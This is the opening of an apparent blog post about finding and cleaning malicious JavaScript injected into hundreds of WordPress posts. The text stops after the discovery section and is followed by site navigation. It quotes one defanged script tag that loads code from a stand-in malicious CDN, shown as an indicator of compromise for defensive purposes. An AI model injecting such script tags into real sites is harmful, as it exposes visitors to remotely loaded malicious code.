Security incidents happen. What matters is how quickly you can respond. Here’s how I cleaned a compromised WordPress database when I discovered malicious JavaScript injected into hundreds of posts.

The Discovery

During a routine site check, I noticed suspicious external script loading on multiple pages. The pattern was consistent:

<script src='https://malicious-cdn[.]example/m.js?n=ns1' type='text/javascript'></script>

This script was appearing in post content across the entire site. Classic injection attack—probably from a compromised admin account or vulnerable plugin.

Note: Domain defanged ([.] instead of .) for security reasons. This was a real attack using a suspicious .ga domain.

The Damage Assessment

First, I needed to know the scope:

Similar Posts

Loading similar posts...

Keyboard Shortcuts

Navigation
Next / previous item
j/k
Open post
oorEnter
Preview post
v
Post Actions
Love post
a
Like post
l
Dislike post
d
Undo reaction
u
Recommendations
Add interest / feed
Enter
Not interested
x
Go to
Home
gh
Interests
gi
Feeds
gf
Likes
gl
History
gy
Changelog
gc
Settings
gs
Browse
gb
Search
/
General
Show this help
?
Submit feedback
!
Close modal / unfocus
Esc

Press ? anytime to show this help